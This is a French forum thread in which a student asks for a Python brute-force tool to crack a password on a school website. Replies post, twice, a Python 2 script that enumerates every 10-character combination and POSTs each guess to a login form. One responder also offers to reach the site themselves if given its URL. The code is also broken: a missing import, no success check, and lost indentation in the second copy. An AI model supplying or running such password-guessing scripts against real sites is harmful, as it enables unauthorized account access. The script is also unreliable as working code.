Créer un brute force brut en python. [Fermé]

Signaler
Messages postés
5
Date d'inscription
mercredi 4 janvier 2017
Statut
Membre
Dernière intervention
4 janvier 2017
-
 dorlow -
Bonjour, Bonsoir.
Il y à quelques jours, un de mes professeurs nous a donné un devoir un peu particulier.
Il a créer une rubrique spécial dans le site de notre collège pour nous apprendre l'informatique, dans cette rubrique il y a un mot de passe à trouver, personne ne trouver au bout de deux semaine donc il a décidé de nous donné une partie de la réponse, un brute force.
Le seul moyen de trouver le mot de passe est un force brut, mais bon il n'est pas débile et il s'est dit que pour réussir à trouver le mot de passe, nous allions en télécharger un. Donc maintenant il veut que nous réussissions à créer un force brut en python. Je compte sur vous pour m'aider et me donner des algorithmes en python pour ce genre de problème.
Merci d'avance.



7 réponses

import urllib2
from urllib import urlencode
chars=input("caracteres a mettre tape abcdefg... : ")
for length in range(10, 11): # le deuxieme il faut faire +1
    to_attempt = product(chars, repeat=length)
    for attempt in to_attempt:
        print(''.join(attempt))
        params = {'nomspost': ''.join(attempt)} # nom post tu vas dans le code source de la page et tu cherche un truc comme ca input type="text" name="prenom" et tu garde prenom a la place de nom spost
        http_params = urlencode(params)
        connection = urllib2.urlopen("http://supersite.hebergeur.org/formulaire.html", http_params)#ici tu mets l'url de la page
        
12
Merci

Quelques mots de remerciements seront grandement appréciés. Ajouter un commentaire

CCM 60511 internautes nous ont dit merci ce mois-ci

Sinon t'as des notions en python ou pas car le prof vous a demandés de le faire en python
Messages postés
5
Date d'inscription
mercredi 4 janvier 2017
Statut
Membre
Dernière intervention
4 janvier 2017

Bof, je connais juste quelque bases vite fait. C'est surtout ça qui me pose problème.
Pour la variable range tu mets (1, 1000)
Bonjour voila
for length in range(10, 11): # le deuxieme il faut faire +1 cela veut dire le mdp gait ebtre 10 et 10 caracteres de long
to_attempt = product(chars, repeat=length) # chars les caracteres a user
for attempt in to_attempt:
print(''.join(attempt)) # ''.join(attempt) Te donne le resultat
Messages postés
5
Date d'inscription
mercredi 4 janvier 2017
Statut
Membre
Dernière intervention
4 janvier 2017

Merci mais je fais comment, je me connecte sur le site et j’exécute le script avec l’exécuteur de commandes ?
Commebt est construit le site ( peut tu me donner son url)? Si non peut tu faire une capture d'ecran? Désolé le script est recuperé d'un morceau de code de quand j'avais 12 ans
Peux tu m'envoyer le code source du site la ou il faut taper le mot de passe (c'est tres simple avec urllib pour bidouiller les $_POST mais il me faut la variable du POST pour l'envoyer a php ou autre)
Messages postés
5
Date d'inscription
mercredi 4 janvier 2017
Statut
Membre
Dernière intervention
4 janvier 2017

dsl je ne peut accéder au site que en cours. comme le prof voulez vérifiez que nous n'avions pas télécharger de logiciel il a bloqué la rubrique pour q'uniquement les ordinateurs de l'établissement puissent y accéder.
Donne quand meme l'url on va voir si je peux reussir a y acceder
Messages postés
5
Date d'inscription
mercredi 4 janvier 2017
Statut
Membre
Dernière intervention
4 janvier 2017

J'aimeraisbien mais malheureusement impossible d'accéder à la rubrique car l'adresse du site n'est utilisable que par les utilisateurs du réseau.
Mais sinon tu peut me dire où trouver le bout de code source à utiliser.
>
Messages postés
5
Date d'inscription
mercredi 4 janvier 2017
Statut
Membre
Dernière intervention
4 janvier 2017

Ok tu fait


import urllib2
from urllib import urlencode
chars=input("caracteres a mettre tape abcdefg... : ")
for length in range(10, 11): # le deuxieme il faut faire +1
to_attempt = product(chars, repeat=length)
for attempt in to_attempt:
print(''.join(attempt))
params = {'nomspost': ''.join(attempt)} # nom post tu vas dans le code source de la page et tu cherche un truc comme ca input type="text" name="prenom" et tu garde prenom a la place de nom spost
http_params = urlencode(params)
connection = urllib2.urlopen("http://supersite.hebergeur.org/formulaire.html", http_params)#ici tu mets l'url de la page